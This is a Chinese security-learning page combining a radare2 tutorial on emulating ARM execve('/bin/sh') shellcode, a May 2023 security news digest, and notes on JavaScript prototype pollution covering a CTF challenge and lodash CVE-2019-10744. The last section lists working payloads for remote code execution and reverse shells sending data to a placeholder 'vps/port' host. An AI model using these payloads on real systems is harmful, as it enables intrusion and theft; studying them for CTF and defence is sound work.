nemo@hammerhead:~/labs/shellcode/asm$ file shellcode-696.bin
shellcode-696.bin: data
由于它只是一个二进制的文件,我们需要把它加载到radare2中后指定我们要看的是什么。在这里,我们修改了一些软件的分析设置,以便我们能够正确地分析我们的ARM文件:
nemo@hammerhead:~/labs/shellcode/asm$ r2 shellcode-696.bin
[0x00000000]> e anal.arch = arm
[0x00000000]> e asm.arch = arm
[0x00000000]> e asm.bits = 32
[0x00000000]> e anal.armthumb=true
配置radare2,使其知道如何正确运行我们的shellcode二进制文件
接下来我们要指定哪些指令是ARM,哪些是THUMB。我发现要做到这一点,就需要定义指令类型改变的函数。在这个特定的shellcode中,它会在ARM和THUMB指令之间进行切换。
[0x00000000]> af
[0x00000000]> pdf
┌ 8: fcn.00000000 ();
│ rg: 0 (vars 0, args 0)
│ bp: 0 (vars 0, args 0)
│ sp: 0 (vars 0, args 0)
│ 0x00000000 01308fe2 add r3, pc, 1
└ 0x00000004 13ff2fe1 bx r3
在这个radare2命令的片段中,我正在分析一个地址为0的函数。在这里并不存在一个真正的函数,但是我们这样做是为了让我们的"函数"可以指定为ARM或者THUMB。"pdf "命令只是打印了函数的反汇编指令,这其中包含了add和bx指令。
<p>[0x00000000]> s 8
[0x00000008]> af
[0x00000008]> pdf
┌ 24: fcn.00000008 (int32_t arg1, int32_t arg2);
│ ; arg int32_t arg1 @ r0
│ ; arg int32_t arg2 @ r1
│ 0x00000008 78460c30 andlo r4, ip, r8, ror r6
│ 0x0000000c c0460190 andls r4, r1, r0, asr 13 ; arg2
│ ┌─< 0x00000010 491a921a bne 0xfe48693c
│ │ 0x00000014 0b2701df svcle 0x1270b
│ │ 0x00000018 2f62696e cdpvs p2, 6, c6, c9, c15, 1
└ │ 0x0000001c 2f736800 rsbeq r7, r8, pc, lsr 6
[0x00000008]> afB 16</p>
从地址8开始的下一组指令是THUMB指令。"s 8 " 指令会在文件中寻找8个字节,并跳转到一个我们希望到达的地方,然后定义下一个 "函数"。用 "af "创建函数后,当我们试图用 "pdf "显示它时,它看起来有点古怪。这是因为工具仍然会将这些指令解释为ARM。
我们可以通过设置比特数为16来指定这个 "函数 " 是THUMB。也就是将asm.bits设置为16,不过只针对这个函数生效。在一个正常的ARM二进制文件中,radare2会尝试自动进行这种区分,但是由于我们只有这一串shellcode指令,我们仍然需要进行手动区分。
注意我们可以删掉前两条指令并使用全THUMB的shellcode。如果我们这样做,我们就可以在打开文件时设置 "e asm.bits=16",而不必再重新定义函数。只不过,如果需要的话,你可以区分这两种指令类型。
Radare2还有一个更方便的方法,就是用 "izz "命令显示二进制文件中的所有字符串。
> izz
[Strings]
nth paddr vaddr len size section type string
―――――――――――――――――――――――――――――――――――――――――――――――――――――――
0 0x00000008 0x00000008 4 5 ascii xF\f0
1 0x00000018 0x00000018 7 8 ascii /bin/sh</p>
现在我们已经能够正确的加载我们的shellcode二进制文件了。
初始化ESIL
如前所述,radare2内置了很多命令,在命令前缀中加入"?" 可以列出所有相关的命令。"ae? " 命令将列出与ESIL和仿真相关的命令。
[0x00000000]> ae?
Usage: ae[idesr?] [arg] ESIL code emulation
| ae [expr] evaluate ESIL expression
| ae? show this help
| ae?? show ESIL help
| aea[f] [count] analyse n esil instructions accesses (regs, mem..)
| aeA[f] [count] analyse n bytes for their esil accesses (regs, mem..)
| aeb ([addr]) emulate block in current or given address
| aeC[arg0 arg1..] @ addr appcall in esil
| aec[?] continue until ^C
| aef [addr] emulate function
| aefa [addr] emulate function to find out args in given or current offset
| aeg [expr] esil data flow graph
| aegf [expr] [register] esil data flow graph filter
| aei[?] initialize ESIL VM state (aei- to deinitialize)
| aek[?] [query] perform sdb query on ESIL.info
| aeL list ESIL plugins
| aep[?] [addr] manage esil pin hooks (see “e cmd.esil.pin”)
| aepc [addr] change esil PC to this address
| aer[?] [..] handle ESIL registers like “ar” or “dr” does
| aes[?] perform emulated debugger step
| aets[?] esil Trace session
| aev [esil] visual esil debugger for the given expression or current instruction
| aex [hex] evaluate opcode expression
在这里,我们首先需要用 "aei "命令来初始化ESIL。之后,我们需要初始化一个堆栈。Radare2会自动选择一个堆栈的位置,不过这也可以使用"aeim "命令参数来指定地址 。
[0x00000008]> aei
[0x00000008]> aeim
根据需要设置寄存器
由于我们的shellcode指令是从0开始的,我们需要用 "aepc 0 "命令将我们的程序计数器(PC)设置为0。如果我们想在偏移量0以外的位置开始执行,我们可以用 "aepc <address>"来设置起始地址。
[0x00000008]> aepc 0
我们的shellcode中的一条指令("subs r1, r1, r1")会将r1设置为0.由于这个寄存器默认已经为0,让我们将它设置为0xffff,这样我们就可以看到当我们在shellcode中步进时所发生的变化。要做到这一点,我们需要使用 "aer "命令。
[0x00000008]> aer r1 = 0xffff
通过我们的设置来验证其功能
好了,现在我们已经设置好了。我们可以切换到可视化模式,进入到调试器面板。在可视模式下有多个选项(面板),所以我们需要敲两次 "p "来进入正确的面板。如果你想在任何时候退出可视化模式,只需按下escape键。你也可以按"?"来查看可用的命令列表。
[0x00000008]> V
(hit “p” twice to get to the debugger panel)
然后你会注意到靠近顶部有一组寄存器。它看起来会像这样:
通常在控制台输入的任何r2命令也可以在视觉模式下输入。例如,如果我们想打印偏移量为0x18的字符串,我们需要执行以下命令:
# Hit “:” while in visual mode.
> ps @0x18
/bin/sh
> # Hit enter on a blank line to return to visual mode.
现在,我们可以通过使用"s "键来执行汇编指令。当你在浏览时,你会注意到顶部的寄存器与堆栈数据会一起被更新(在第一张图片中从0x00178000开始)。你还会注意到,下一条要执行的指令(又称PC)的地址在汇编指令中被突出显示(第一幅图中的0x00000010)。
注意,上面的图片显示r1寄存器持有0x0000ffff。还注意到下一条指令将会被执行,即 "subs r1, r1, r1"。这条指令将会从自身减去r1,并将其存回r1,本质上是使其变为0。
再次按 "s "键,进入下一条指令。
现在一切都准备好了,可以通过 "svc 1 "指令通过守护进程调用了。我们现在正在进行 "execve "调用,所以我们应该在r7寄存器中设置0xb。r0中的第一个参数应该是一个指向我们要执行的二进制文件路径的指针。我们可以发现r0持有0x18。我们可以通过运行以下命令来验证它的指向:
# Hit “:” while at the “svc 1” instruction in visual mode.
> ps @r0
/bin/sh
>
现在我们没有向"/bin/sh "传递任何参数,也没有设置任何环境变量,因此我们可以发现r1和r2都被设置为0。
由于我们不是在ARM系统上运行,所以我们不能正确地使用守护进程调用("svc 1")指令。当你在测试更复杂的shellcode时,请牢记这一点。
总结
无论您是对自定义的shellcode进行故障排除,还是验证您所看到的静态内容,有时您只需要看看指令到底在做什么。Radare2允许您从一个未知的文件格式(如shellcode二进制文件或固件镜像)加载非本地汇编文件,并一步一步地执行指令。
网络安全日报 2023年05月06日
1、Facebook发现一种名为“NodeStealer”的新型信息窃取恶意软件
https://www.bleepingcomputer.com/news/security/facebook-disrupts-new-nodestealer-information-stealing-malware/ Facebook在Meta上发现了一种名为“NodeStealer”的新型信息窃取恶意软件,它允许威胁行为者窃取浏览器cookie以劫持平台上的账户,以及Gmail和Outlook账户。捕获包含有效用户会话令牌的cookie是一种在网络犯罪分子中越来越流行的策略,因为它允许他们劫持帐户而无需窃取凭据或与目标交互,同时还可以绕过双因素身份验证保护。正如Facebook的安全团
2、研究人员在GooglePlay上发现名为"Fleckpe"的新型Android恶意软件
https://securelist.com/fleckpe-a-new-family-of-trojan-subscribers-on-google-play/109643/ 研究人员在官方Android应用程序商店Google Play上发现了一种名为“Fleckpe”的新型Android订阅恶意软件,它伪装成合法应用程序,下载次数超过620000次。卡巴斯基透露,Fleckpe是恶意软件领域的最新成员,它通过为用户订阅高级服务而产生未经授权的费用。威胁行为者通过收取通过高级服务产生的每月或一次性订阅费用的份额,从未经授权的订阅中获利。当威胁行为者运营服务时,他们会保留全部收入。卡巴斯基
3、思科披露了一个易受RCE攻击的Cisco电话适配器漏洞
https://www.bleepingcomputer.com/news/security/cisco-phone-adapters-vulnerable-to-rce-attacks-no-fix-available/ 思科披露了Cisco电话适配器基于Web的管理界面中的一个漏洞,允许未经身份验证的远程攻击者在设备上执行任意代码。该漏洞编号为CVE-2023-20126,CVSS评分为9.8,是由于固件升级功能中缺少身份验证过程造成的。这些电话适配器是业界流行的选择,无需升级即可将模拟电话集成到VoIP网络中。虽然这些适配器可能在许多组织中使用,但它们可能不会暴露在Internet上,
4、FBI查封了9家给勒索软件团伙提供洗钱服务的加密货币交易所
https://www.bleepingcomputer.com/news/security/fbi-seizes-9-crypto-exchanges-used-to-launder-ransomware-payments/ 美国联邦调查局和乌克兰警方查封了9个加密货币交易网站,这些网站为包括勒索软件参与者在内的诈骗者和网络犯罪分子洗钱提供了便利。查获的网站允许用户匿名将加密货币转换为更难追踪的硬币,以掩盖资金追踪,并帮助网络犯罪分子在不被执法部门追踪的情况下洗钱。这些平台中的大多数为用户提供俄语和英语的实时支持和说明,涵盖广泛的网络犯罪社区。通过提供这些服务,虚拟货币交易所故意支持其客户
5、高通违规获取用户隐私信息,一直在秘密收集私人用户数据
https://cybernews.com/news/android-phone-chip-collecting-user-data/ 据称,芯片巨头高通公司一直在秘密收集私人用户数据,大约三分之一的安卓设备使用了高通制造的芯片,包括三星和苹果智能手机。
6、 Android 更新修补了40多个漏洞,包括用于提权的CVE-2023-0266
https://www.securityweek.com/android-security-update-patches-kernel-vulnerability-exploited-by-spyware-vendor/ 谷歌最新的 Android 安全更新修补了 40 多个漏洞,包括 CVE-2023-0266,这是一个被恶意软件用作零日漏洞的内核漏洞。
7、Rockstar Games遭黑客攻击,GTA 6 源代码被盗
https://www.securityweek.com/gta-6-videos-and-source-code-stolen-rockstar-games-hack/ 视频游戏发行商 Rockstar Games 似乎遭受了数据泄露,黑客声称窃取了即将推出的侠盗猎车手 (GTA) 6 游戏的源代码。
8、Apple 首次为 Beats、AirPods 耳机发布安全更新
https://www.securityweek.com/apple-releases-first-ever-security-updates-for-beats-airpods-headphones/ Apple 为其 Beats 和 AirPods 产品发布了有史以来的第一个安全更新,以修补可被利用通过蓝牙攻击获取耳机访问权限的漏洞。
9、亲俄黑客组织 NoName 关闭了多个法国网站,包括法参议院网站
https://securityaffairs.com/145813/hacktivism/noname-ddos-french-senate.html 法国参议院的网站因亲俄黑客组织 NoName 发起的 DDoS 攻击而下线。亲俄黑客组织 NoName 声称对导致法国参议院网站离线的 DDoS 攻击负责
10、研究人员披露 PaperCut 漏洞新的利用方法,可以绕过所有当前检测
https://securityaffairs.com/145752/hacking/papercut-new-exploit.html VulnCheck 研究人员针对最近披露的 PaperCut 服务器中的一个严重缺陷设计了一种新的利用方法,可以绕过所有当前检测。
免责声明
以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
JavaScript原型链污染学习记录
1.JS原型和继承机制
0> 原型及其搜索机制
NodeJS原型机制,比较官方的定义:
我们创建的每个函数都有一个 prototype(原型)属性,这个属性是一个指针,指向一个对象,
而这个对象的用途是包含可以由特定类型的所有实例共享的属性和方法
设计原型的初衷无非是对于每个实例对象,其拥有的共同属性没必要对每个对象实例再分配一片内存来存放这个属性。而可以上升到所有对象共享这个属性,而这个属性的实体在内存中也仅仅只有一份。
而原型机制恰好满足这种需求。
打个不太恰当的比喻,对于每个对象,都有其原型对象作为共享仓库,共享仓库中有属性和方法供生产每个对象实例时使用
1> 原型链和继承
原型链
原型链是在原型上实现继承的一种形式
举个例子:
function Father(){
this.name = "father";
this.age = 66;
}
function Son(){
this.name = "son";
}
var father1 = new Father();
Son.prototype = father1;
var son1 = new Son();
console.log(son1);
console.log(son1.__proto__);
console.log(son1.__proto__.__proto__);
console.log(son1.__proto__.__proto__.__proto__);
console.log(son1.__proto__.__proto__.__proto__.__proto__);
/*
Father { name: 'son' }
Father { name: 'father', age: 66 }
{}
[Object: null prototype] {}
null
*/
整个的原型继承链如下:
关于原型搜索机制:
1)搜索当前实例属性
2)搜索当前实例的原型属性
3)迭代搜索直至null
在上面的例子中
console.log(son1.name);
console.log(son1.age);
/*
son
66
*/
2> 内置对象的原型
这个也是多级原型链污染的基础
拿一张业内很经典的图来看看
2.姿势利用
1>利用原型污染进行RCE
global.process.mainModule.constructor._load('child_process').execSync('calc')
2>多级污染
在ctfshow Web340中有这么一题:
/* login.js */
var user = new function(){
this.userinfo = new function(){
this.isVIP = false;
this.isAdmin = false;
this.isAuthor = false;
};
}
utils.copy(user.userinfo,req.body);
if(user.userinfo.isAdmin){
res.end(flag);
}
由于Function原型对象的原型也是Object的原型,即
user --(__proto__)--> Function.prototype --(__proto__)--> Object.prototype
那么就可以通过这个进行多级污染,payload为如下形式:
{
"__proto__":{
"__proto__":{
attack_code
}
}
}
3>Lodash模块的原型链污染(以lodash.defaultsDeep(CVE-2019-10744)为例,进行CVE复现)
lodash版本 < 4.17.12
CVE-2019-10744:在低版本中的lodash.defaultDeep函数中,Object对象可以被原型链污染,从而可以配合其他漏洞。
看下官方样例PoC的调试过程:
const lodash = require('lodash');
const payload = '{"constructor": {"prototype": {"whoami": "hack"}}}'
function check() {
lodash.defaultsDeep({}, JSON.parse(payload));
if (({})['whoami'] === "hack") {
console.log(`Vulnerable to Prototype Pollution via ${payload}`);
console.log(Object.prototype);
}
}
check();
开始调试:
在lodash中,baseRest是一个辅助函数,用于帮助创建一个接受可变数量参数的函数。
所以主体逻辑为,而这段匿名函数也将为func的函数的函数体
args.push(undefined, customDefaultsMerge);
return apply(mergeWith, undefined, args);
查看overRest
在变量监听中可以发现,传入的参数整合成一个参数对象args
继续往下return apply
到apply后进入,是个使用switch并且根据参数个数作为依据
发现使用了call,这里可能是个进行原型链继承的可利用点。
(而这种技术称为借用构造函数,其思想就是通过子类构造函数中调用超类构造函数完成原型链继承)
function Super(){}
function Sub(){
Super.call(this); // 继承
}
然后apply中返回至刚才的匿名函数体中(此时刚执行完baseRest(func)),其中customDefaultMerge为merge的声明方式
继续深入,由上可知apply(func=mergeWith,thisArg=undefined,args=Array[4])
基于start的计算机制,不难得知undefined是作为占位符,使得start向后移动
继续调试,在NodeJS中,普通函数中调用this等同于调用全局对象global
将assigner视为合并的一个黑盒函数即可,至此完成原型链污染。
Question: 注意到PoC中的lodash.defaultsDeep({}, JSON.parse(payload));是要求先传入一个object实例的(此处为{})
所以还是具体分析一下合并的过程(来看下assigner的一些底层实现)
注意:通常而言,合并需要考虑深浅拷贝的问题
/*baseMerge*/
function baseMerge(object, source, srcIndex, customizer, stack) {
if (object === source) { // 优化判断是否为同一对象,是则直接返回
return;
}
// 遍历source的属性,选择深浅复制
baseFor(source, function(srcValue, key) {
if (isObject(srcValue)) {
stack || (stack = new Stack);
baseMergeDeep(object, source, key, srcIndex, baseMerge, customizer, stack);
}
else {
var newValue = customizer
? customizer(safeGet(object, key), srcValue, (key + ''), object, source, stack)
: undefined;
if (newValue === undefined) {
newValue = srcValue;
}
assignMergeValue(object, key, newValue);
}
}, keysIn);
} var baseFor = createBaseFor(); function createBaseFor(fromRight) { // fromRight选择从哪端开始遍历
return function(object, iteratee, keysFunc) {
var index = -1,
iterable = Object(object),
props = keysFunc(object),
length = props.length;
while (length--) {
var key = props[fromRight ? length : ++index];
if (iteratee(iterable[key], key, iterable) === false) { // 这里的iteratee即为baseFor中的匿名函数
break;
}
}
return object;
};
}
那我就再调试一下,在iteratee中(即匿名函数中),若为对象,则选择深拷贝。
原来在4.17.12之前的版本也是有waf的,只是比较弱。
回归正题,在customizer之后便产生了合并
所以,为了更好地观察,我将{}替换成[](Array对象实例)
重新开始调试到此处并进入,发现这是一个迭代合并的过程,先判断是否都为对象。如果是的话,则会进行压栈然后开始浅拷贝合并。
这是在生成属性时需要设置的四种数据属性
回归正题,发现只能写入Array的原型
再验证一下
const lodash = require('lodash');
const payload = '{"constructor": {"prototype": {"whoami": "hack"}}}'
var object = new Object();
function check() {
// JSON.parse(payload)之后是一个JS对象
lodash.defaultsDeep([],JSON.parse(payload));
if (({})['whoami'] === "hack") {
console.log(`Vulnerable to Prototype Pollution via ${payload}`);
console.log(Object.prototype);
}
}
check();
console.log(Array.prototype);
所以说需要直接传入一个Object的实例。
官方修复,直接上waf:检测JSON中的payload中的key值
此处对比一下lodash4.17.12之前的版本,key值过滤得更为严格
总结一下,CVE-2019-10744可用的payload
# 反弹shell
{"constructor":{"prototype":
{"outputFunctionName":"a=1;process.mainModule.require('child_process').exec('bash -c \"echo $FLAG>/dev/tcp/vps/port \"')//"}}}
# RCE
// 对于某个object实例
{"__proto__":{"outputFunctionName":"a=1;return global.process.mainModule.constructor._load('child_process').execSync('cat /flag')//"}}
# 反弹shell
{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/vps/port 0>&1\"');var __tmp2"}}
第2页 第3页 第4页 第5页 第6页 第7页 第8页 第9页 第10页 第11页 第12页 第13页 第14页 第15页 第16页 第17页 第18页 第19页 第20页 第21页 第22页 第23页 第24页 第25页 第26页 第27页 第28页 第29页 第30页 第31页 第32页 第33页 第34页 第35页 第36页 第37页 第38页 第39页 第40页 第41页 第42页 第43页 第44页 第45页 第46页 第47页 第48页 第49页 第50页 第51页 第52页 第53页 第54页 第55页 第56页 第57页 第58页 第59页 第60页 第61页 第62页 第63页 第64页 第65页 第66页 第67页 第68页 第69页 第70页 第71页 第72页 第73页 第74页 第75页 第76页 第77页 第78页 第79页 第80页 第81页 第82页 第83页 第84页 第85页 第86页 第87页 第88页 第89页 第90页 第91页 第92页 第93页 第94页 第95页 第96页 第97页 第98页 第99页 第100页 第101页 第102页 第103页 第104页 第105页 第106页 第107页 第108页 第109页 第110页 第111页 第112页 第113页 第114页 第115页 第116页 第117页 第118页 第119页 第120页 第121页 第122页 第123页 第124页 第125页 第126页 第127页 第128页 第129页 第130页 第131页 第132页 第133页 第134页 第135页 第136页 第137页 第138页 第139页 第140页 第141页 第142页 第143页 第144页 第145页 第146页 第147页 第148页 第149页 第150页 第151页 第152页 第153页 第154页 第155页 第156页 第157页 第158页 第159页 第160页 第161页 第162页 第163页 第164页 第165页 第166页 第167页 第168页 第169页 第170页 第171页 第172页 第173页 第174页 第175页 第176页 第177页 第178页 第179页 第180页 第181页 第182页 第183页 第184页 第185页 第186页 第187页 第188页 第189页 第190页 第191页 第192页 第193页 第194页 第195页 第196页 第197页 第198页 第199页 第200页 第201页 第202页 第203页 第204页 第205页 第206页 第207页 第208页 第209页 第210页 第211页
蚁景网安学院火热招生中,限时领取大额优惠券,快来抢购吧~
扫码咨询客服了解招生最新内容和活动

